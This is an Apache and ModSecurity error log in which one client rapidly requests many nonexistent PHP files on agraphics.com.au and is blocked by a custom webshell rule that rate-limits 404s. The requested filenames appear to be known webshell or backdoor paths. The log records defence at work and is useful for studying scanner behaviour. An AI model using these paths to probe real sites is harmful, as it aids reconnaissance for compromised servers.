[Mon Apr 13 06:05:01.782187 2026] [proxy_fcgi:error] [pid 11325:tid 11348] [client 74.248.16.65:25155] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:05:02.039452 2026] [proxy_fcgi:error] [pid 11325:tid 11333] [client 74.248.16.65:25155] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:05:02.336388 2026] [proxy_fcgi:error] [pid 11325:tid 11336] [client 74.248.16.65:25155] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:05:02.610652 2026] [proxy_fcgi:error] [pid 11325:tid 11327] [client 74.248.16.65:25155] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:05:02.968341 2026] [proxy_fcgi:error] [pid 11325:tid 11328] [client 74.248.16.65:25155] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:05:03.585475 2026] [proxy_fcgi:error] [pid 11325:tid 11347] [client 74.248.16.65:25155] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:05:04.119543 2026] [:error] [pid 11325:tid 11346] [client 74.248.16.65:25155] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "adwXEOCGj3EEJtCwa0OchgAAARM"]
[Mon Apr 13 06:05:05.971828 2026] [:error] [pid 11325:tid 11344] [client 74.248.16.65:22164] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "adwXEeCGj3EEJtCwa0OchwAAARE"]
[Mon Apr 13 06:05:06.868981 2026] [:error] [pid 33942:tid 33980] [client 74.248.16.65:46570] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "adwXEhNHe8geO_lMeFai8AAAAEE"]
[Mon Apr 13 06:05:10.229806 2026] [:error] [pid 33941:tid 33953] [client 74.248.16.65:40461] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "adwXFm_NKERAxgG-rYM9QAAAAAM"]
[Mon Apr 13 06:05:11.921661 2026] [:error] [pid 33941:tid 33974] [client 74.248.16.65:9329] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lnexugel.php"] [unique_id "adwXF2_NKERAxgG-rYM9QgAAABc"]
[Mon Apr 13 06:05:12.920349 2026] [:error] [pid 33942:tid 34001] [client 74.248.16.65:48116] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lnexugel.php"] [unique_id "adwXGBNHe8geO_lMeFai8wAAAFY"]
[Mon Apr 13 06:05:13.973028 2026] [:error] [pid 33941:tid 33968] [client 74.248.16.65:9837] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lnexugel.php"] [unique_id "adwXGW_NKERAxgG-rYM9RQAAABE"]
[Mon Apr 13 06:05:14.734048 2026] [:error] [pid 33943:tid 34020] [client 74.248.16.65:38655] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lnexugel.php"] [unique_id "adwXGqyoXuZjocnxM5Fy0AAAAI4"]
[Mon Apr 13 06:05:15.870132 2026] [:error] [pid 34048:tid 34052] [client 74.248.16.65:22156] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/online.php"] [unique_id "adwXG_SiQ_PJjlY5Ehz7UgAAAMI"]
[Mon Apr 13 06:05:17.025386 2026] [:error] [pid 33942:tid 34003] [client 74.248.16.65:19141] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/online.php"] [unique_id "adwXHRNHe8geO_lMeFai-QAAAFg"]
[Mon Apr 13 06:05:18.099169 2026] [:error] [pid 33941:tid 33966] [client 74.248.16.65:37147] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/online.php"] [unique_id "adwXHm_NKERAxgG-rYM9SgAAAA8"]
[Mon Apr 13 06:05:20.566452 2026] [:error] [pid 33941:tid 33957] [client 74.248.16.65:47035] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/online.php"] [unique_id "adwXIG_NKERAxgG-rYM9TQAAAAc"]
[Mon Apr 13 06:05:21.943175 2026] [:error] [pid 11325:tid 11336] [client 74.248.16.65:48027] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up-kon.php"] [unique_id "adwXIeCGj3EEJtCwa0OciQAAAQk"]
[Mon Apr 13 06:05:24.394384 2026] [:error] [pid 11325:tid 11341] [client 74.248.16.65:37175] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up-kon.php"] [unique_id "adwXJOCGj3EEJtCwa0OcjQAAAQ4"]
[Mon Apr 13 06:05:27.073981 2026] [:error] [pid 11325:tid 11337] [client 74.248.16.65:19161] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up-kon.php"] [unique_id "adwXJ-CGj3EEJtCwa0OckgAAAQo"]
[Mon Apr 13 06:05:29.417839 2026] [:error] [pid 33941:tid 33960] [client 74.248.16.65:47533] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up-kon.php"] [unique_id "adwXKW_NKERAxgG-rYM9UAAAAAk"]
[Mon Apr 13 06:05:30.424609 2026] [:error] [pid 34048:tid 34062] [client 74.248.16.65:37132] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/word.php"] [unique_id "adwXKvSiQ_PJjlY5Ehz7VgAAAMw"]
[Mon Apr 13 06:05:32.173726 2026] [:error] [pid 34048:tid 34053] [client 74.248.16.65:39819] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/word.php"] [unique_id "adwXLPSiQ_PJjlY5Ehz7VwAAAMM"]
[Mon Apr 13 06:05:33.280325 2026] [:error] [pid 11325:tid 11346] [client 74.248.16.65:46588] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/word.php"] [unique_id "adwXLeCGj3EEJtCwa0OcqwAAARM"]
[Mon Apr 13 06:05:34.730973 2026] [:error] [pid 34048:tid 34073] [client 74.248.16.65:39832] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/word.php"] [unique_id "adwXLvSiQ_PJjlY5Ehz7WAAAANc"]
[Mon Apr 13 06:05:36.302477 2026] [:error] [pid 33943:tid 34017] [client 74.248.16.65:38622] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "adwXMKyoXuZjocnxM5Fy4wAAAIs"]
[Mon Apr 13 06:05:37.852835 2026] [:error] [pid 11325:tid 11338] [client 74.248.16.65:37153] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "adwXMeCGj3EEJtCwa0OctwAAAQs"]
[Mon Apr 13 06:05:39.134025 2026] [:error] [pid 11325:tid 11339] [client 74.248.16.65:20992] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "adwXM-CGj3EEJtCwa0OcugAAAQw"]
[Mon Apr 13 06:05:40.556422 2026] [:error] [pid 33942:tid 33993] [client 74.248.16.65:36220] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "adwXNBNHe8geO_lMeFajAwAAAE4"]
[Mon Apr 13 06:05:44.042070 2026] [:error] [pid 11325:tid 11342] [client 74.248.16.65:35637] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jcsonquo.php"] [unique_id "adwXOOCGj3EEJtCwa0OcwQAAAQ8"]
[Mon Apr 13 06:05:46.111578 2026] [:error] [pid 33943:tid 34015] [client 74.248.16.65:9768] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jcsonquo.php"] [unique_id "adwXOqyoXuZjocnxM5Fy7AAAAIk"]
[Mon Apr 13 06:05:49.857113 2026] [:error] [pid 33942:tid 33988] [client 74.248.16.65:39850] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jcsonquo.php"] [unique_id "adwXPRNHe8geO_lMeFajBQAAAEk"]
[Mon Apr 13 06:05:52.073493 2026] [:error] [pid 11325:tid 11334] [client 74.248.16.65:37136] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jcsonquo.php"] [unique_id "adwXQOCGj3EEJtCwa0Oc0AAAAQc"]
[Mon Apr 13 06:05:55.208162 2026] [:error] [pid 33942:tid 33995] [client 74.248.16.65:19578] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/termps.php"] [unique_id "adwXQxNHe8geO_lMeFajBwAAAFA"]
[Mon Apr 13 06:05:56.359075 2026] [:error] [pid 33942:tid 33991] [client 74.248.16.65:47013] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/termps.php"] [unique_id "adwXRBNHe8geO_lMeFajCQAAAEw"]
[Mon Apr 13 06:05:57.687206 2026] [:error] [pid 34048:tid 34065] [client 74.248.16.65:60565] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/termps.php"] [unique_id "adwXRfSiQ_PJjlY5Ehz7ZwAAAM8"]
[Mon Apr 13 06:05:59.555094 2026] [:error] [pid 33943:tid 34009] [client 74.248.16.65:37178] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/termps.php"] [unique_id "adwXR6yoXuZjocnxM5FzBQAAAIM"]
[Mon Apr 13 06:06:00.975874 2026] [:error] [pid 33942:tid 34000] [client 74.248.16.65:45391] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rc.php7"] [unique_id "adwXSBNHe8geO_lMeFajCwAAAFU"]
[Mon Apr 13 06:06:03.334385 2026] [proxy_fcgi:error] [pid 33943:tid 34029] [client 74.248.16.65:45352] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:06:03.592275 2026] [proxy_fcgi:error] [pid 33943:tid 34019] [client 74.248.16.65:45352] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:06:03.848881 2026] [proxy_fcgi:error] [pid 33943:tid 34020] [client 74.248.16.65:45352] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:06:04.107357 2026] [proxy_fcgi:error] [pid 33943:tid 34011] [client 74.248.16.65:45352] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:06:04.365057 2026] [proxy_fcgi:error] [pid 33943:tid 34006] [client 74.248.16.65:45352] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:06:04.624011 2026] [proxy_fcgi:error] [pid 33943:tid 34023] [client 74.248.16.65:45352] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:06:04.881250 2026] [proxy_fcgi:error] [pid 33943:tid 34024] [client 74.248.16.65:45352] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:06:05.519994 2026] [proxy_fcgi:error] [pid 33943:tid 34014] [client 74.248.16.65:45352] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:06:06.063180 2026] [proxy_fcgi:error] [pid 33943:tid 34026] [client 74.248.16.65:45352] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:06:06.348923 2026] [:error] [pid 33943:tid 34029] [client 74.248.16.65:45352] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bsr.php"] [unique_id "adwXTqyoXuZjocnxM5FzGgAAAJc"]
[Mon Apr 13 06:06:08.966032 2026] [:error] [pid 11325:tid 11328] [client 74.248.16.65:29726] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bsr.php"] [unique_id "adwXUOCGj3EEJtCwa0Oc7AAAAQE"]
[Mon Apr 13 06:06:10.754810 2026] [:error] [pid 33941:tid 33975] [client 74.248.16.65:21464] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bsr.php"] [unique_id "adwXUm_NKERAxgG-rYM9WgAAABg"]
[Mon Apr 13 06:06:12.723105 2026] [:error] [pid 34048:tid 34059] [client 74.248.16.65:39812] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bsr.php"] [unique_id "adwXVPSiQ_PJjlY5Ehz7bQAAAMk"]
[Mon Apr 13 06:06:14.906144 2026] [:error] [pid 11325:tid 11343] [client 74.248.16.65:45406] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ans.php"] [unique_id "adwXVuCGj3EEJtCwa0Oc9gAAARA"]
[Mon Apr 13 06:06:16.416748 2026] [:error] [pid 33941:tid 33969] [client 74.248.16.65:29735] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ans.php"] [unique_id "adwXWG_NKERAxgG-rYM9XQAAABI"]
[Mon Apr 13 06:06:19.243226 2026] [:error] [pid 11325:tid 11333] [client 74.248.16.65:31918] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ans.php"] [unique_id "adwXW-CGj3EEJtCwa0Oc-gAAAQY"]
[Mon Apr 13 06:06:20.481985 2026] [:error] [pid 33943:tid 34013] [client 74.248.16.65:29817] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ans.php"] [unique_id "adwXXKyoXuZjocnxM5FzHAAAAIc"]
[Mon Apr 13 06:06:21.556626 2026] [:error] [pid 33942:tid 33981] [client 74.248.16.65:60541] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-tot.php"] [unique_id "adwXXRNHe8geO_lMeFajHwAAAEI"]
[Mon Apr 13 06:06:23.708625 2026] [:error] [pid 11325:tid 11347] [client 74.248.16.65:34579] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-tot.php"] [unique_id "adwXX-CGj3EEJtCwa0OdAwAAARQ"]
[Mon Apr 13 06:06:25.677062 2026] [:error] [pid 11325:tid 11339] [client 74.248.16.65:21764] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-tot.php"] [unique_id "adwXYeCGj3EEJtCwa0OdEgAAAQw"]
[Mon Apr 13 06:06:27.081332 2026] [:error] [pid 11325:tid 11333] [client 74.248.16.65:21797] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-tot.php"] [unique_id "adwXY-CGj3EEJtCwa0OdGQAAAQY"]
[Mon Apr 13 06:06:28.542712 2026] [:error] [pid 11325:tid 11348] [client 74.248.16.65:44318] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Core-wp.php"] [unique_id "adwXZOCGj3EEJtCwa0OdHAAAARU"]
[Mon Apr 13 06:06:30.050244 2026] [:error] [pid 11325:tid 11339] [client 74.248.16.65:33373] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Core-wp.php"] [unique_id "adwXZuCGj3EEJtCwa0OdHgAAAQw"]
[Mon Apr 13 06:06:32.636157 2026] [:error] [pid 11325:tid 11331] [client 74.248.16.65:9418] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Core-wp.php"] [unique_id "adwXaOCGj3EEJtCwa0OdIwAAAQQ"]
[Mon Apr 13 06:06:35.262756 2026] [:error] [pid 11325:tid 11336] [client 74.248.16.65:59796] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Core-wp.php"] [unique_id "adwXa-CGj3EEJtCwa0OdKwAAAQk"]
[Mon Apr 13 06:06:37.320921 2026] [:error] [pid 11325:tid 11347] [client 74.248.16.65:9600] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/src.php"] [unique_id "adwXbeCGj3EEJtCwa0OdLgAAARQ"]
[Mon Apr 13 06:06:39.776125 2026] [:error] [pid 33941:tid 33971] [client 74.248.16.65:59799] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/src.php"] [unique_id "adwXb2_NKERAxgG-rYM9bwAAABQ"]
[Mon Apr 13 06:06:42.286421 2026] [:error] [pid 33941:tid 33973] [client 74.248.16.65:59812] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/src.php"] [unique_id "adwXcm_NKERAxgG-rYM9dQAAABY"]
